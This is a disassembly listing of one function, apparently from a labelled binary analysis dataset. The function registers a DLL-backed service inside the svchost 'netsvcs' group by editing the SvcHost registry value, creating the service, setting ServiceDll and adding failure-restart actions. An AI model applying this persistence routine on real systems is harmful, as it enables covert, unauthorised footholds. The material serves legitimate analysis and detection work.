Function at 0x10023396
Capabilities:
Create service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], esp
lea eax, [ebp - 4]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10023411
push 0
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x10023cd2
push 0x80000301
push 0
push 0x400
push 1
mov ebx, 0x1bc
call fcn.100b9960
add esp, 0x10
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10023450
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x10023465
add eax, 8
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1002349d
push 0xdb
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
call fcn.1001fdd1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10023655
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53b6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x100234e2
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x100235ff
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.2008
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10023535
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x100235ff
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d5e39
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x10023588
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x100235ff
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.2003
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x100e6909]
test eax, eax
jne 0x100235db
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
jne 0x100235ff
xor eax, eax
jmp 0x10023604
mov eax, 1
test eax, eax
je 0x10023655
mov dword [ebp - 0x20], esp
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002361d
add eax, 8
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10023655
push 0x28d
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10023681
push 0x2e9
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
push 0x80000301
push 0
push dword [ebp - 0x10]
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x1002369e
mov eax, 0x100d5289
push eax
push 2
mov ebx, 0x1a0
call fcn.100bb760
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x100236c8
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x100236e1
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x100d5278
push dword [ebp - 0x20]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1002371f
push ebx
call fcn.100b8c45
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x10023738
mov eax, 0x100d5289
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x1002374c
mov eax, 0x100d5289
push eax
push 3
mov ebx, 0x1ac
call fcn.100bbcb0
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10023772
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x28], 0xffffffff
jne 0x1002394a
mov dword [ebp - 0x20], esp
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
push reloc.WS2_32.dll_bind
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x100237bd
push 0x3ee
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x1002394a
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x100237dc
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 8]
push 0x100d5278
push dword [ebp - 0x20]
mov ecx, 3
call fcn.1000173e
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1002381d
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10023830
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x1002385b
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x10023884
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x194
call fcn.100ba1f0
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100238aa
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x28]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fild dword [ebp - 0x30]
fstp qword [ebp - 0x40]
fadd qword [ebp - 0x40]
fstp qword [ebp - 0x48]
mov dword [ebp - 0x4c], esp
fld qword [ebp - 0x48]
call fcn.10001795
push eax
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100238d5
add eax, 8
push eax
push 7
push 0
push str.netsvcs
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x1002390e
push 0x548
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x1002391e
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x1002394a
push 0x565
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
push 0
mov ebx, 0x6c8
call fcn.100bf1d0
add esp, 4
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 2
push str.ServicesActive
push dword [ebp - 0x20]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10023995
push 0x5e2
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100239a8
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], 1
jge 0x10023a6e
push 0x80000301
push 0
push 0x100
push 0x80000301
push 0
push 0x10
push 2
mov ebx, 0xc8
call fcn.100bab10
add esp, 0x1c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
push 0x100d520e
push 0
push 0x100d520e
push 0
push 0x100d520e
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push dword [ebp + 0x14]
push dword [ebp - 0x20]
push 0xf01ff
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ebx, dword [ebp + 8]
push dword [ebx]
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10023a49
push 0x6a6
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 0
push 1
call fcn.100047a1
jmp 0x100239ae
cmp dword [ebp - 0x1c], 0
jne 0x10023af3
push 0x100de38d
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10023ce8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10023acb
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 0
push 1
call fcn.100047a1
jmp 0x10023a6e
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
jne 0x10023b7f
push str.DisplayName
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10023ce8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10023b57
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 0
push 1
call fcn.100047a1
jmp 0x10023afa
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
jne 0x10023c03
push str.ParametersServiceDll
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.SYSTEMCurrentControlSetServices_
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x20], eax
push 1
push 2
push 1
push dword [ebp + 0x18]
lea eax, [ebp - 0x20]
push eax
push 1
push 4
call fcn.10023ce8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10023bde
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
push 1
push 0
push 1
call fcn.100047a1
jmp 0x10023b86
cmp dword [ebp + 0x1c], 1
jne 0x10023c7a
push str._reset_86400_actions_restart_1000
mov ebx, dword [ebp + 8]
push dword [ebx]
push str.sc_failure
mov ecx, 3
call fcn.10001088
add esp, 0xc
mov dword [ebp - 0x20], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_bind
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x10023c57
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x2c0
call fcn.100b9ca0
add esp, 0x28
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10023c7a
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10023ca6
push 0xb3b
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x20], esp
push dword [ebp - 0x14]
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
nop
cmp dword [ebp - 0x20], esp
je 0x10023cd2
push 0xb55
push 0x4043654
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10023ce2
push ebx
call fcn.100b8c45
add esp, 4
mov esp, ebp
pop ebp
ret 0x1c